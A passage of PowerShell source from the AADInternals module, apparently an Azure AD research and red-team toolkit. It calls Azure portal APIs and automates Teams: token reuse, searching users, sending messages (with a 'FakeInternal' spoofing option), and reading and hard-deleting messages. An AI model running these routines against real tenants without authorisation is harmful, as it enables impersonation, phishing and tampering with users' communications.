[Parameter(Mandatory=$True)] [ValidateSet('Microsoft_AAD_IAM')] [String]$ExtensionName, [Parameter(Mandatory=$False)] $ResourceName="self", [Parameter(Mandatory=$True)] $AccessToken ) Process { # Check the expiration if(Is-AccessTokenExpired($AccessToken.access_token)) { throw "AccessToken has expired" } $Headers=@{ "x-ms-client-request-id" = (New-Guid).ToString() "x-ms-extension-flags" ='{"feature.advisornotificationdays":"30","feature.advisornotificationpercent":"100","feature.armtenants":"true","feature.artbrowse":"true","feature.azureconsole":"true","feature.checksdkversion":"true","feature.contactinfo":"true","feature.dashboardfilters":"false","feature.enableappinsightsmetricsblade":"true","feature.globalsearch":"true","feature.guidedtour":"true","feature.helpcontentenabled":"true","feature.helpcontentwhatsnewenabled":"true","feature.internalonly":"false","feature.irissurfacename":"AzurePortal_Notifications_PROD","feature.mergecoadmins":"true","feature.metricsv2ga":"true","feature.newsubsapi":"true","feature.npsintervaldays":"90","feature.npspercent":"3.0","feature.npsshowportaluri":"true","feature.sessionvalidity":"true","feature.searchnocache":"true","feature.subscreditcheck":"true","hubsextension_parameterseditor":"true","hubsextension_showpolicyhub":"true","feature.autosettings":"true","feature.azurehealth":"true","feature.blockbladeredirect":"Microsoft_Azure_Resources","feature.browsecuration":"default","feature.collapseblade":"true","feature.dashboardfiltersaddbutton":"false","feature.decouplesubs":"true","feature.disablebladecustomization":"true","feature.disabledextensionredirects":"","feature.enablee2emonitoring":"true","feature.enablemonitoringgroup":"true","feature.enableworkbooks":"true","feature.feedback":"true","feature.feedbackwithsupport":"true","feature.fullwidth":"true","feature.managevminbrowse":"true","feature.mgsubs":"true","feature.newautoscale":"true","feature.newtageditorblade":"true","feature.nps":"true","feature.pinnable_default_off":"true","feature.reservationsinbrowse":"true","feature.reservehozscroll":"true","feature.resourcehealth":"true","feature.seetemplate":"true","feature.showdecoupleinfobox":"true","feature.tokencaching":"true","feature.usealertsv2blade":"true","feature.usemdmforsql":"true","feature.usesimpleavatarmenu":"true","hubsextension_budgets":"true","hubsextension_costalerts":"false","hubsextension_costanalysis":"true","hubsextension_costrecommendations":"true","hubsextension_eventgrid":"true","hubsextension_isinsightsextensionavailable":"true","hubsextension_islogsbladeavailable":"true","hubsextension_isomsextensionavailable":"true","hubsextension_savetotemplatehub":"true","hubsextension_servicenotificationsblade":"true","hubsextension_showservicehealthevents":"true","microsoft_azure_marketplace_itemhidekey":"Citrix_XenDesktop_EssentialsHidden,Citrix_XenApp_EssentialsHidden,AzureProject"}' "x-ms-version" = "5.0.302.5601 (production#c19533145d.181011-0133) Signed" "X-Requested-With" = "XMLHttpRequest" "Referer" = "https://portal.azure.com/" "x-ms-client-session-id" = $Script:AADSessionId "Origin" = "https://portal.azure.com" "x-ms-effective-locale"="en.en-us" "Accept-Language" = "en" "User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "Cookie" ="browserId=6d84502d-b03c-433c-acec-d87e20449090" } $Body=@{ "extensionName" = $ExtensionName "portalAuthorization" = $AccessToken.refresh_token "resourceName" = $ResourceName "tenant" = Get-TenantId -AccessToken $AccessToken.access_token } # Call the API $response = Invoke-RestMethod -UseBasicParsing -Uri "https://portal.azure.com/api/DelegationToken?feature.tokencaching=true" -ContentType "application/json" -Method POST -Body ($Body | ConvertTo-Json) #-Headers $Headers -WebSession $Script:azureWebSession # Return $response.value } } # Calls the Azure AD IAM API function Call-AzureAADIAMAPI { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] $Body, [Parameter(Mandatory=$True)] $AccessToken, [Parameter(Mandatory=$True)] $Command, [Parameter(Mandatory=$False)] [ValidateSet('Put','Get','Post','Delete')] [String]$Method="Get", [Parameter(Mandatory=$False)] [String]$Version = "2.0" ) Process { # Check the expiration if(Is-AccessTokenExpired($AccessToken)) { throw "AccessToken has expired" } $headers=@{ "Authorization" = "Bearer $AccessToken" "X-Requested-With" = "XMLHttpRequest" "x-ms-client-request-id" = (New-Guid).ToString() } # Call the API $response = Invoke-RestMethod -UseBasicParsing -Uri "https://main.iam.ad.ext.azure.com/api/$command`?api-version=$Version" -ContentType "application/json; charset=utf-8" -Headers $headers -Method $Method -Body ($Body | ConvertTo-Json -Depth 5) # Return if($response.StatusCode -eq $null) { return $response } } } # Calls the Azure Management API # Jul 11th 2019 function Call-AzureManagementAPI { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] $Body, [Parameter(Mandatory=$True)] $AccessToken, [Parameter(Mandatory=$True)] $Command ) Process { # Check the expiration if(Is-AccessTokenExpired($AccessToken)) { throw "AccessToken has expired" } $headers=@{ "Authorization" = "Bearer $AccessToken" "X-Requested-With" = "XMLHttpRequest" "x-ms-client-request-id" = (New-Guid).ToString() } # Call the API $response=Invoke-RestMethod -UseBasicParsing -Uri "https://portal.azure.com/api/$command" -Method Post -Headers $headers # Return return $response } } # Prompts for credentials and gets the access token # Supports MFA, federation, etc. # Jul 11th 2019 function Prompt-AzureADCredentials { [cmdletbinding()] Param( ) Process { # Set variables $auth_redirect="https://portal.azure.com/signin/index/" $url="https://portal.azure.com/" # Create the form $form = Create-LoginForm -Url $url -auth_redirect $auth_redirect # Show the form and wait for the return value if($form.ShowDialog() -ne "OK") { # Dispose the control $form.Controls[0].Dispose() Write-Verbose "Login cancelled" return $null } # Dispose the control $form.Controls[0].Dispose() # Get the access token from script scope variable $accessToken = $script:accessToken $script:accessToken = $null # Return $accessToken } }
Teams.ps1
AADInternals-0.9.4
# This file contains functions for Teams # Gets a skype token using Teams accesstoken # Oct 3rd 2020 function Get-SkypeToken { <# .SYNOPSIS Gets SkypeToken. .DESCRIPTION Gets SkypeToken. .Parameter AccessToken The access token used to get the token .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>$skypeToken = Get-AADIntSkypeToken #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" $response = Get-TeamsUserSettings -AccessToken $AccessToken $response.tokens.SkypeToken } } # Sets user's availability status # Oct 3rd 2020 function Set-TeamsAvailability { <# .SYNOPSIS Sets the availability status of the user. .DESCRIPTION Sets the availability status of the user. .Parameter AccessToken The access token used to set the availability .Parameter Status The status, one of Available, Busy, DoNotDisturb, BeRightBack, or Away .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Set-AADIntTeamsAvailability -Status Busy #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [ValidateSet("Available","Busy","DoNotDisturb","BeRightBack","Away")] [String]$Status="Available" ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" $body="{""availability"":""$Status""}" $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" } Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://presence.teams.microsoft.com/v1/me/forceavailability/" -Headers $headers -Body $body -ContentType "application/json" } } # Sets user's Teams statusmessage # Oct 3rd 2020 function Set-TeamsStatusMessage { <# .SYNOPSIS Sets the Teams status message status of the user. .DESCRIPTION Sets the Teams status message status of the user. .Parameter AccessToken The access token used to set the status message .Parameter Message The status message .Parameter Expires Expiration time of the message .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Set-AADIntTeamsStatusMessage -Message "Out of office til noon" #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$Message, [Parameter(Mandatory=$False)] [DateTime]$Expires ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" if($Expires) { $expiry = $Expires.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z" } else { $expiry = "9999-12-31T08:00:00.000Z" } $body=[ordered]@{ "message" = $Message "expiry" = $expiry } $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" } Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://presence.teams.microsoft.com/v1/me/publishnote" -Headers $headers -Body ($body | ConvertTo-Json -Compress) -ContentType "application/json;charset=utf-8" } } # Searches a teams user # Oct 3rd 2020 function Search-TeamsUser { <# .SYNOPSIS Searhes users with the given searchstring. .DESCRIPTION Searhes users with the given searchstring. .Parameter AccessToken The access token used to perform the search .Parameter SearchString Search string. .EXAMPLE Get-AADIntAccessTokenForTeams -Resource https://outlook.com -SaveToCache PS C:\>Search-AADIntTeamsUser -SearchString "user" | Format-Table UserPrincipalName,DisplayName UserPrincipalName DisplayName ----------------- ----------- [email protected] First User [email protected] Second User #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$SearchString ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" $body=@" { "EntityRequests": [{ "Query": { "QueryString": "$SearchString", "DisplayQueryString": "" }, "EntityType": "People", "Provenances": ["Mailbox", "Directory"], "From": 0, "Size": 500, "Fields": ["Id", "DisplayName", "EmailAddresses", "CompanyName", "JobTitle", "ImAddress", "UserPrincipalName", "ExternalDirectoryObjectId", "PeopleType", "PeopleSubtype", "ConcatenatedId", "Phones", "MRI"], } ], "Cvid": "$((New-Guid).ToString())", "AppName": "Microsoft Teams", "Scenario": { "Name": "staticbrowse" } } "@ $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" } $response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://substrate.office.com/search/api/v1/suggestions" -Headers $headers -Body $body -ContentType "application/json" $response.Groups.Suggestions } } # Sends a message using teams # Oct 16th 2020 function Send-TeamsMessage { <# .SYNOPSIS Sends a Teams message to given recipients.. .DESCRIPTION Sends a Teams message to given recipients. .Parameter AccessToken The access token used to send the message. .Parameter Recipients Email addresses of the recipients .Parameter Message Message to be sent. If in html, use -Html switch .Parameter ClientMessageId The client message id of the message. If exists, the content is replaced with the given message. .Parameter Thread The conversation thread of existing chat or channel. .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS C:\>Send-AADIntTeamsMessage -Recipients [email protected] -Message "Hi user!" Sent ClientMessageID ---- --------- 16/10/2020 14.40.23 132473328207053858 .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS C:\>Get-AADIntTeamsMessages | Select Link Link ---- 19:a84fdc0c-519c-4467-b2e6-323a48ce09af_4d40755a-020b-422b-b9cf-2f1f50602377@unq.gbl.spaces 19:a84fdc0c-519c-4467-b2e6-323a48ce09af_4d40755a-020b-422b-b9cf-2f1f50602377@unq.gbl.spaces 19:[email protected] 19:[email protected] 19:[email protected] PS C:\>Send-AADIntTeamsMessage -Thread 19:[email protected] -Message "Hi there!" Sent ClientMessageID ---- --------- 16/10/2020 14.40.23 132473328207053858 #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName = "New", Mandatory=$True)] [String[]]$Recipients, [Parameter(Mandatory=$True)] [String]$Message, [switch]$Html, [Parameter(ParameterSetName = "Existing", Mandatory=$True)] [String]$ClientMessageId, [Parameter(ParameterSetName = "Thread", Mandatory=$True)] [String]$Thread, [bool]$External = $false, [bool]$FakeInternal = $false ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" if($Html) { $messagetype = "RichText/Html" $contenttype = "text" } else { $messagetype = "Text" $contenttype = "text" } # Get the settings $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $chatService = $teamsSettings.regionGtms.chatService $apiUrl = $teamsSettings.regionGtms.middleTier $skypeToken = $teamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "Authentication" = "skypetoken=$skypeToken" "x-ms-client-version" = "27/1.0.0.2020101241" } # Parse AccessToken to get sender details $parsedToken = Read-Accesstoken $AccessToken # If the client message is given, find the message and corresponding id if($ClientMessageId) { $response = Get-TeamsMessage -AccessToken $AccessToken -ClientMessageId $ClientMessageId if(!$response) { throw "Message ($ClientMessageId) not found! Check the ClientMessageId and try again." } $thread = $response.Link } elseif($Thread) # Thread is given, so post message to there { $ClientMessageId=(Get-Date).ToFileTimeUtc() } else # A new message { $ClientMessageId=(Get-Date).ToFileTimeUtc() $msgRecipients = @() if($External) { foreach($recipient in $Recipients) { try { if(![string]::IsNullOrEmpty($recipient)) { $msgRecipients += Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://teams.microsoft.com/api/mt/part/emea-02/beta/users/$recipient/externalsearchv3" -Headers $headers } } catch { # Okay, federation doesn't exists etc. } } } else { $msgRecipients = Get-TeamsRecipients -AccessToken $AccessToken -Recipients $Recipients } if(!$msgRecipients.Count) { # Just one found so create an array $newRecipients = @($msgRecipients) Remove-Variable "msgRecipients" $msgRecipients = $newRecipients } elseif($msgRecipients.Count -lt 1) { Throw "Recipient not found" } # Get a new thread for the conversation $members=@( @{ "id" = "8:orgid:$($parsedToken.oid)" "role" = "Admin" } ) foreach($recipient in $msgRecipients) { $members += @{ "id" = $recipient.mri "role" = "Admin" } } if($External -and !$FakeInternal) { $threadBody = @{ "members" = $members "properties" = @{ "threadType" = "sfbinteropchat" "chatFilesIndexId" = "2" "isFederated" = "true" "uniquerosterthread" = ($members.Count -eq 2).ToString().ToLower() "fixedRoster" = "true" } } } else { $threadBody = @{ "members" = $members "properties" = @{ "threadType" = "chat" "chatFilesIndexId" = "2" "uniquerosterthread" = ($members.Count -eq 2).ToString().ToLower() "fixedRoster" = "true" } } } $threadResponse = Invoke-WebRequest2 -Method Post -Uri "$chatService/v1/threads" -Headers $headers -Body ($threadBody | ConvertTo-Json) -ContentType "application/json" -MaximumRedirection 0 $threadUrl = $threadResponse.Headers["location"] $thread = $threadUrl.Substring($threadUrl.LastIndexOf("/")+1) } # Links $links=@() # Check if we have any links if($Html -and $Message.IndexOf("href") -gt -1) { # Try to convert to xml for parsing.. try { [xml]$xmlHtml = $Message $messageLinks = Select-Xml -Xml $xmlHtml -XPath "//a" for($a = 0; $a -lt $messageLinks.Count ; $a++) { $linkUrl = $messageLinks[$a].Node.href $links += @{ "@type" = "http://schema.skype.com/HyperLink" "itemid"= $a "url"= $linkUrl "previewenabled" = "false" "preview" = @{ "previewurl" = "" "previewmeta" = "" "title" = "" "description" = "" "isLinkUnsafe" = "false" } } } } catch { Write-Warning "The message contains link(s), but it was not well-formed html. Check the syntax of the message!" } } # Send the message $messageBody=@{ "content" = $Message "messagetype"= $messagetype "contenttype"= $contenttype "amsreferences" = @() "clientmessageid" = $ClientMessageId "imdisplayname" = $parsedToken.name "properties" = @{ "importance" = ""; "subject"= $null; "links" = $links } } if($External -and !$FakeInternal) { $messageBody["properties"]["interopType"]="receiverSfB" $messageBody["fromSipUri"] = $parsedToken.upn $messageBody["toSipUri"] = $msgRecipients | Select-Object -ExpandProperty email } if($FakeInternal) { # Fake internal by removing the "fed." from the thread # This allows sending rich text to external users too. $Thread = $Thread.Replace("@fed.","@") } $response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$chatService/v1/users/ME/conversations/$thread/messages" -Headers $headers -Body ($messageBody | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8" $posted=$epoch.AddMilliseconds($response.OriginalArrivalTime) return New-Object psobject -Property @{"ClientMessageID" = $ClientMessageId; "Sent" = $posted} } } # Get the latest Teams messages # Oct 16th 2020 function Get-TeamsMessages { <# .SYNOPSIS Gets user's latest Teams messages. .DESCRIPTION Gets user's latest Teams messages. .Parameter AccessToken The access token used to get the messages .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS C:\>Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayName Id Content DeletionTime MessageType Type DisplayName -- ------- ------------ ----------- ---- ----------- 1602842299338 1602846853687 RichText/Html MessageUpdate Bad User 1602844861358 1602858789696 RichText/Html MessageUpdate Bad User 1602846167606 1602858792943 Text MessageUpdate Bad User 1602846853687 1602858795517 Text MessageUpdate Bad User 1602833251951 1602833251951 Text MessageUpdate Bad User 1602833198442 1602833198442 Text MessageUpdate Bad User 1602859223294 Hola User! Text NewMessage Bad User 1602859423019 Hi User! Text NewMessage Bad User 1602859423019 Hi User! Text MessageUpdate Bad User 1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User 1602859484420 Hey User! Text NewMessage Bad User 1602859528028 Hy User! Text NewMessage Bad User 1602859484420 Hey User! Text MessageUpdate Bad User 1602859590916 Hi User! Text NewMessage Bad User #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Endpoint $endPoint = (New-Guid).ToString() # Get the settings $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $chatService = $teamsSettings.regionGtms.chatService $skypeToken = $teamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "Authentication" = "skypetoken=$skypeToken" } $conversations = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "$chatService/v1/users/ME/conversations" -Headers $headers foreach($conversation in $conversations.conversations) { $id = $conversation.id try { if($id.startsWith("19:")) { $chatMessages = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "$chatService/v1/users/ME/conversations/$id/messages?startTime=0&view=msnp24Equivalent" -Headers $headers } foreach($message in $chatMessages.messages) { if($message.type -like "*Message*" -and $message.contenttype -eq "text") { $attributes = [ordered]@{ "ClientMessageId" = $message.clientmessageid "Id" = $message.id "MessageType" = $message.messageType "DisplayName" = $message.imdisplayname "ArrivalTime" = $message.originalarrivaltime "DeletionTime" = $message.properties.deletetime "Link" = $message.conversationid "Content" = $message.content "Type" = $message.type } New-Object psobject -Property $attributes } } } catch { Write-Verbose "$(($_.ErrorDetails.Message | ConvertFrom-Json).message)" } } } } # Deletes Teams messages # Oct 16th 2020 function Remove-TeamsMessages { <# .SYNOPSIS Deletes given Teams messages. .DESCRIPTION Deletes given Teams messages. .Parameter AccessToken The access token used to get the messages .Parameter MessageIDs List of IDs of the messages to be deleted .Parameter DeleteType Deletion type, can be either SoftDelete or HardDelete. Defaults to HardDelete. Soft deleted messages can be restored from the UI. .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS C:\>Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayName Id Content DeletionTime MessageType Type DisplayName -- ------- ------------ ----------- ---- ----------- 1602842299338 1602846853687 RichText/Html MessageUpdate Bad User 1602844861358 1602858789696 RichText/Html MessageUpdate Bad User 1602846167606 1602858792943 Text MessageUpdate Bad User 1602846853687 1602858795517 Text MessageUpdate Bad User 1602833251951 1602833251951 Text MessageUpdate Bad User 1602833198442 1602833198442 Text MessageUpdate Bad User 1602859223294 Hola User! Text NewMessage Bad User 1602859423019 Hi User! Text NewMessage Bad User 1602859423019 Hi User! Text MessageUpdate Bad User 1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User 1602859484420 Hey User! Text NewMessage Bad User 1602859528028 Hy User! Text NewMessage Bad User 1602859484420 Hey User! Text MessageUpdate Bad User 1602859590916 Hi User! Text NewMessage Bad User PS C:\>Remove-AADIntTeamsMessages -MessageIDs 1602859590916,1602859484420 #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String[]]$MessageIDs, [Parameter(Mandatory=$False)] [ValidateSet("HardDelete","SoftDelete")] [String]$DeleteType="HardDelete" ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the settings $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $chatService = $teamsSettings.regionGtms.chatService $skypeToken = $teamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "Authentication" = "skypetoken=$skypeToken" } # Get the latest messages $messages = Get-TeamsMessages -AccessToken $AccessToken # Loop through the messages and delete when the correct ones if found foreach($message in $messages) { if($MessageIDs -contains $message.Id) { try { $response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "$chatService/v1/users/ME/conversations/$($message.Link)/messages/$($message.Id)`?behavior=$DeleteType" -Headers $headers -ErrorAction SilentlyContinue } catch{ Write-Warning "MessageId $($message.Id):`n$(($_.ErrorDetails.Message | ConvertFrom-Json).message)" } } } } } # Sets the emotion for the given message # Oct 26th 2020 function Set-TeamsMessageEmotion { <# .SYNOPSIS Sets emotion for the given Teams message. .DESCRIPTION Sets emotion for the given Teams message. .Parameter AccessToken The access token used to get the messages .Parameter MessageID The id of the message .Parameter ConversationID The id of the message conversation .Parameter Clear Clear the given emotion. .Parameter Emotion The emotion to be added. One of like, heart, laugh, surprised, sad, or angry .EXAMPLE Get-AADIntAccessTokenForTeams -SaveToCache PS C:\>Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayName Id Content DeletionTime MessageType Type DisplayName -- ------- ------------ ----------- ---- ----------- 1602842299338 1602846853687 RichText/Html MessageUpdate Bad User 1602844861358 1602858789696 RichText/Html MessageUpdate Bad User 1602846167606 1602858792943 Text MessageUpdate Bad User 1602846853687 1602858795517 Text MessageUpdate Bad User 1602833251951 1602833251951 Text MessageUpdate Bad User 1602833198442 1602833198442 Text MessageUpdate Bad User 1602859223294 Hola User! Text NewMessage Bad User 1602859423019 Hi User! Text NewMessage Bad User 1602859423019 Hi User! Text MessageUpdate Bad User 1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User 1602859484420 Hey User! Text NewMessage Bad User 1602859528028 Hy User! Text NewMessage Bad User 1602859484420 Hey User! Text MessageUpdate Bad User 1602859590916 Hi User! Text NewMessage Bad User PS C:\>Set-AADIntTeamsMessageEmotion -MessageID 1602859223294 -Emotion like #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$MessageID, [Parameter(Mandatory=$False)] [String]$ConversationID, [Parameter(Mandatory=$False)] [psobject]$TeamsSettings, [Parameter(Mandatory=$True)] [ValidateSet("like","heart","laugh","surprised","sad","angry")] [String]$Emotion, [switch]$Clear ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the settings if(!$TeamsSettings) { $TeamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken } $chatService = $TeamsSettings.regionGtms.chatService $skypeToken = $TeamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "Authentication" = "skypetoken=$skypeToken" } # If conversation id not given, try to find one if([String]::IsNullOrEmpty($ConversationID)) { $conversations = Invoke-RestMethod -Method Get -Uri "$chatService/v1/users/ME/conversations" -Headers $headers foreach($conversation in $conversations.conversations) { try { $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "$chatService/v1/users/ME/conversations/$($conversation.id)/messages/$MessageID" -Headers $headers -ErrorAction SilentlyContinue $ConversationID = $conversation.id break } catch{ # Okay, not a correct conversation } } } try { if($Clear) { $headers["x-ms-client-caller"] = "updateMessageReactionRemove" $body = "{""emotions"":""{\""key\"":\""$Emotion\""}""}" $method = "Delete" } else { $headers["x-ms-client-caller"] = "updateMessageReactionAdd" $body = "{""emotions"":""{\""key\"":\""$Emotion\"",\""value\"":$([long]((Get-Date)-$epoch).TotalMilliseconds)}""}" $method = "Put" } $continue = $true while($continue) { try { $response = Invoke-RestMethod -UseBasicParsing -Method $method -Uri "$chatService/v1/users/ME/conversations/$ConversationID/messages/$MessageID/properties?name=emotions" -Headers $headers -Body $body $continue = $false } catch { if($_.Exception.Response.StatusCode -eq 429) { if($_.Exception.Response.Headers["Retry-After"]) { $retryAfter = ([datetime]$_.Exception.Response.Headers["Retry-After"]).Second Write-Warning "Retrying after $($retryAfter)s" Start-Sleep -Seconds $retryAfter } else { throw $_ } } else { throw $_ } } } } catch{ Throw $_ } } } # Get a teams message with clientmessageid # Oct 26th 2020 function Get-TeamsMessage { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$ClientMessageId ) Process { $messages = Get-TeamsMessages -AccessToken $AccessToken foreach($message in $messages) { if($message.clientmessageid -eq $ClientMessageId) { return $message } } } } # Get user's Teams memberships (Teams' and chats) # May 11th 2021 function Get-TeamsMemberships { [cmdletbinding()] Param() Process { # Get access token from cache $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Try to get a new access token for chat service using cached refreshtoken $refreshToken = Get-RefreshTokenFromCache -ClientID "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -Resource "https://api.spaces.skype.com" if(!$refreshToken) { Throw "No refresh token found!" } $AccessToken2 = Get-AccessTokenWithRefreshToken -Resource "https://chatsvcagg.teams.microsoft.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -RefreshToken $refreshToken -TenantId (Read-Accesstoken $AccessToken).tid # Get the settings $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $skypeToken = $teamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken2" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "x-skypetoken" = "$skypeToken" } $membershipInfo = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://teams.microsoft.com/api/csa/api/v1/teams/users/me?isPrefetch=false&enableMembershipSummary=true" -Headers $headers return $membershipInfo } } # Removes a teams member from a given thread # May 11th 2021 function Remove-TeamsMember { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$User, [Parameter(Mandatory=$True)] [String]$Thread ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the settings $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $teamsAndChannelsService = $teamsSettings.regionGtms.teamsAndChannelsService $skypeToken = $teamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "X-Skypetoken" = $skypeToken "Accept" = "application/json" } # Get the recipient info $recipient = Get-TeamsRecipients -AccessToken $AccessToken -Recipients $User $body = @{ "teamMri" = $Thread "userMri" = $recipient.Mri "updateType" = "Left" } $response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$teamsAndChannelsService/beta/teams/$Thread/members?allowBotsInChannel=true" -Headers $headers -Body ($body|ConvertTo-Json) -ContentType "application/json" } } # Adds a new teams member to the given thread # May 11th 2021 function Add-TeamsMember { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$User, [Parameter(Mandatory=$True)] [String]$Thread ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the settings $teamsSettings = Get-TeamsUserSettings 